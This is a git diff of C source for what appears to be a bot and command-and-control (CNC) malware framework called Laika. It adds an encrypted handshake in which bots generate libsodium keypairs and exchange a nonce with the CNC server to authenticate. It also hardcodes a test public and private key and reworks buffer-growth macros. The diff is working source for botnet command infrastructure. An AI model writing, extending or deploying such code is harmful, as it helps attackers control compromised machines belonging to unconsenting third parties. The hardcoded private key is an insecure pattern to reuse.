diff --git a/bot/include/bot.h b/bot/include/bot.h index d006aa1..2637d9a 100644 --- a/bot/include/bot.h +++ b/bot/include/bot.h @@ -6,10 +6,12 @@ #include "lsocket.h" #include "lpeer.h" #include "lpolllist.h" +#include "lrsa.h" struct sLaika_bot { - struct sLaika_peer *peer; + uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES], nonce[LAIKA_NONCESIZE]; struct sLaika_pollList pList; + struct sLaika_peer *peer; }; struct sLaika_bot *laikaB_newBot(void); diff --git a/bot/src/bot.c b/bot/src/bot.c index 2210060..97d025a 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -1,17 +1,30 @@ #include "lmem.h" +#include "lrsa.h" #include "lerror.h" #include "bot.h" LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + crypto_box_SEALBYTES + LAIKA_NONCESIZE }; void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { + struct sLaika_bot *bot = (struct sLaika_bot*)uData; + switch (id) { case LAIKAPKT_HANDSHAKE_RES: { + uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE], nonce[LAIKA_NONCESIZE]; uint8_t endianness = laikaS_readByte(&peer->sock); - peer->sock.flipEndian = endianness != laikaS_isBigEndian(); + /* read & decrypt nonce */ + laikaS_read(&peer->sock, encNonce, sizeof(encNonce)); + if (crypto_box_seal_open(nonce, encNonce, crypto_box_SEALBYTES + LAIKA_NONCESIZE, bot->pub, bot->priv) != 0) + LAIKA_ERROR("Failed to decrypt nonce!\n"); + + /* check nonce */ + if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0) + LAIKA_ERROR("Mismatched nonce!\n"); + + peer->sock.flipEndian = endianness != laikaS_isBigEndian(); LAIKA_DEBUG("handshake accepted by cnc!\n") break; } @@ -22,6 +35,7 @@ void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { struct sLaika_bot *laikaB_newBot(void) { struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot)); + size_t _unused; laikaP_initPList(&bot->pList); bot->peer = laikaS_newPeer( @@ -30,7 +44,26 @@ struct sLaika_bot *laikaB_newBot(void) { &bot->pList, (void*)bot ); + laikaS_setKeys(bot->peer, bot->priv, bot->pub); + /* generate keypair */ + if (sodium_init() < 0) { + laikaB_freeBot(bot); + LAIKA_ERROR("LibSodium failed to initialize!\n"); + } + + if (crypto_box_keypair(bot->pub, bot->priv) != 0) { + laikaB_freeBot(bot); + LAIKA_ERROR("Failed to gen keypair!\n"); + } + + if (sodium_hex2bin(bot->peer->peerPub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { + laikaB_freeBot(bot); + LAIKA_ERROR("Failed to init cnc public key!\n"); + } + + /* gen nonce test */ + randombytes_buf(bot->nonce, LAIKA_NONCESIZE); return bot; } @@ -41,6 +74,7 @@ void laikaB_freeBot(struct sLaika_bot *bot) { } void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { + uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE]; struct sLaika_socket *sock = &bot->peer->sock; /* setup socket */ @@ -49,11 +83,17 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { laikaP_addSock(&bot->pList, sock); + /* encrypt nonce using cnc's pubkey */ + if (crypto_box_seal(encNonce, bot->nonce, sizeof(bot->nonce), bot->peer->peerPub) != 0) + LAIKA_ERROR("Failed to enc nonce!\n"); + /* queue handshake request */ laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ); laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR); + laikaS_write(sock, encNonce, sizeof(encNonce)); /* write encrypted nonce test */ + laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */ if (!laikaS_handlePeerOut(bot->peer)) LAIKA_ERROR("failed to send handshake request!\n") diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h index 0be8ab6..ff71f86 100644 --- a/cnc/include/cnc.h +++ b/cnc/include/cnc.h @@ -8,6 +8,7 @@ #include "lpeer.h" struct sLaika_cnc { + uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES]; struct sLaika_socket sock; struct sLaika_pollList pList; }; diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 4b66d00..c021968 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -1,17 +1,21 @@ #include "lmem.h" +#include "lrsa.h" #include "lsocket.h" #include "lerror.h" #include "cnc.h" LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { - [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_box_SEALBYTES + LAIKA_NONCESIZE + crypto_box_PUBLICKEYBYTES }; void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { + struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData; + switch (id) { case LAIKAPKT_HANDSHAKE_REQ: { char magicBuf[LAIKA_MAGICLEN]; + uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE], nonce[LAIKA_NONCESIZE]; uint8_t major, minor; laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN); @@ -21,11 +25,24 @@ void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0 || major != LAIKA_VERSION_MAJOR || minor != LAIKA_VERSION_MINOR) - LAIKA_ERROR("invalid handshake request!"); + LAIKA_ERROR("invalid handshake request!\n"); + + /* read & decrypt nonce */ + laikaS_read(&peer->sock, encNonce, sizeof(encNonce)); + if (crypto_box_seal_open(nonce, encNonce, sizeof(encNonce), cnc->pub, cnc->priv) != 0) + LAIKA_ERROR("Failed to decrypt nonce!\n"); + + /* read peer's public key */ + laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub)); + + /* encrypt decrypted nonce with peer's pub key */ + if (crypto_box_seal(encNonce, nonce, sizeof(nonce), peer->peerPub) != 0) + LAIKA_ERROR("Failed to enc nonce!\n"); /* queue response */ laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES); laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); + laikaS_write(&peer->sock, encNonce, sizeof(encNonce)); LAIKA_DEBUG("accepted handshake from peer %x\n", peer); break; @@ -35,6 +52,7 @@ void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { struct sLaika_cnc *laikaC_newCNC(uint16_t port) { struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc)); + size_t _unused; /* init socket & pollList */ laikaS_initSocket(&cnc->sock); @@ -46,6 +64,21 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { /* add sock to pollList */ laikaP_addSock(&cnc->pList, &cnc->sock); + if (sodium_init() < 0) { + laikaC_freeCNC(cnc); + LAIKA_ERROR("LibSodium failed to initialize!\n"); + } + + if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { + laikaC_freeCNC(cnc); + LAIKA_ERROR("Failed to init cnc public key!\n"); + } + + if (sodium_hex2bin(cnc->priv, crypto_box_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) { + laikaC_freeCNC(cnc); + LAIKA_ERROR("Failed to init cnc private key!\n"); + } + return cnc; } @@ -82,6 +115,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { &cnc->pList, (void*)cnc ); + laikaS_setKeys(peer, cnc->priv, cnc->pub); /* setup and accept new peer */ laikaS_acceptFrom(&peer->sock, &cnc->sock); diff --git a/lib/include/laika.h b/lib/include/laika.h index 0999d58..b82b6cb 100644 --- a/lib/include/laika.h +++ b/lib/include/laika.h @@ -25,4 +25,13 @@ #define LAIKA_VERSION_MINOR 0 #endif +/* for testing!! make sure you pass your generated keypair to cmake */ +#ifndef LAIKA_PUBKEY +#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814" +#endif + +#ifndef LAIKA_PRIVKEY +#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841" +#endif + #endif \ No newline at end of file diff --git a/lib/include/lmem.h b/lib/include/lmem.h index 2e0e352..aa8fc35 100644 --- a/lib/include/lmem.h +++ b/lib/include/lmem.h @@ -8,15 +8,17 @@ #define laikaM_malloc(sz) laikaM_realloc(NULL, sz) #define laikaM_free(buf) laikaM_realloc(buf, 0) -#define laikaM_growarray(type, buf, count, capacity) \ - if (count >= capacity || buf == NULL) { \ - capacity *= GROW_FACTOR; \ +#define laikaM_growarray(type, buf, needed, count, capacity) \ + if (count + needed >= capacity || buf == NULL) { \ + capacity = (capacity + needed) * GROW_FACTOR; \ buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \ } /* moves array elements above indx down by numElem, removing numElem elements at indx */ #define laikaM_rmvarray(type, buf, count, indx, numElem) { \ - memmove(&buf[indx], &buf[indx+numElem], ((count-indx)-numElem)*sizeof(type)); \ + int _i, _sz = ((count-indx)-numElem)*sizeof(type); \ + for (_i = 0; _i < _sz; _i++) \ + buf[indx+_i] = buf[indx+numElem+_i]; \ count -= numElem; \ } diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 9a26970..f96faab 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -6,9 +6,22 @@ #define LAIKA_MAX_PKTSIZE 4096 +#define LAIKA_NONCESIZE 16 + enum { LAIKAPKT_HANDSHAKE_REQ, + /* layout of LAIKAPKT_HANDSHAKE_REQ: + * uint8_t laikaMagic[LAIKA_MAGICLEN]; + * uint8_t majorVer; + * uint8_t minorVer; + * uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE]; -- encrypted using shared pubKey + * uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with + */ LAIKAPKT_HANDSHAKE_RES, + /* layout of LAIKAPKT_HANDSHAKE_RES: + * uint8_t endian; + * uint8_t reEncryptedNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE]; -- encrypted using received pubKey from LAIKAPKT_AUTH_REQ pkt + */ LAIKAPKT_VARPKT_REQ, LAIKAPKT_MAXNONE }; diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 3620d69..8d9f206 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -5,6 +5,7 @@ #include "lsocket.h" #include "lpacket.h" #include "lpolllist.h" +#include "lrsa.h" typedef enum { PEER_BOT, @@ -14,6 +15,9 @@ typedef enum { struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ + uint8_t *priv; /* key to decrypt incoming packets */ + uint8_t *pub; /* pub key matching to priv */ + uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */ struct sLaika_pollList *pList; /* pollList we're active in */ void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData); void *uData; /* data to be passed to pktHandler */ @@ -27,6 +31,8 @@ struct sLaika_peer { struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); +void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub); + bool laikaS_handlePeerIn(struct sLaika_peer *peer); bool laikaS_handlePeerOut(struct sLaika_peer *peer); diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index f56720a..517cdaa 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -10,12 +10,19 @@ struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, peer->pktSizeTable = pktSizeTable; peer->pList = pList; peer->uData = uData; + peer->priv = NULL; + peer->pub = NULL; peer->pktSize = 0; peer->pktID = LAIKAPKT_MAXNONE; peer->setPollOut = false; return peer; } +void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub) { + peer->priv = priv; + peer->pub = pub; +} + void laikaS_freePeer(struct sLaika_peer *peer) { laikaS_cleanSocket(&peer->sock); laikaM_free(peer); diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index 12333b6..fcba602 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -66,7 +66,7 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { #else /* allocate space in array & add PollFD */ - laikaM_growarray(PollFD, pList->fds, pList->fdCount, pList->fdCapacity); + laikaM_growarray(PollFD, pList->fds, 1, pList->fdCount, pList->fdCapacity); pList->fds[pList->fdCount++] = (PollFD){sock->sock, POLLIN}; #endif } @@ -152,7 +152,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, for (i = 0; i < nEvents; i++) { /* add event to revent array */ - laikaM_growarray(struct sLaika_pollEvent, pList->revents, pList->reventCount, pList->reventCapacity); + laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity); pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ .sock = pList->ep_events[i].data.ptr, .pollIn = pList->ep_events[i].events & EPOLLIN, @@ -173,7 +173,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, struct sLaika_socket *sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd}); /* insert event into revents array */ - laikaM_growarray(struct sLaika_pollEvent, pList->revents, pList->reventCount, pList->reventCapacity); + laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity); pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){ .sock = sock, .pollIn = pfd.revents & POLLIN, diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 5e7095d..f612086 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -177,7 +177,7 @@ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) { void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) { /* make sure we have enough space to copy the buffer */ - laikaM_growarray(uint8_t, sock->outBuf, sock->outCount + sz, sock->outCap);\ + laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);\ /* copy the buffer, then increment outCount */ memcpy(&sock->outBuf[sock->outCount], buf, sz); @@ -185,7 +185,7 @@ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) { } void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) { - laikaM_growarray(uint8_t, sock->outBuf, sock->outCount, sock->outCap); + laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap); sock->outBuf[sock->outCount++] = data; } @@ -234,7 +234,7 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed int rcvd, start = sock->inCount; /* make sure we have enough space to recv */ - laikaM_growarray(uint8_t, sock->inBuf, sock->inCount + sz, sock->inCap); + laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap); rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL); if (rcvd == 0) {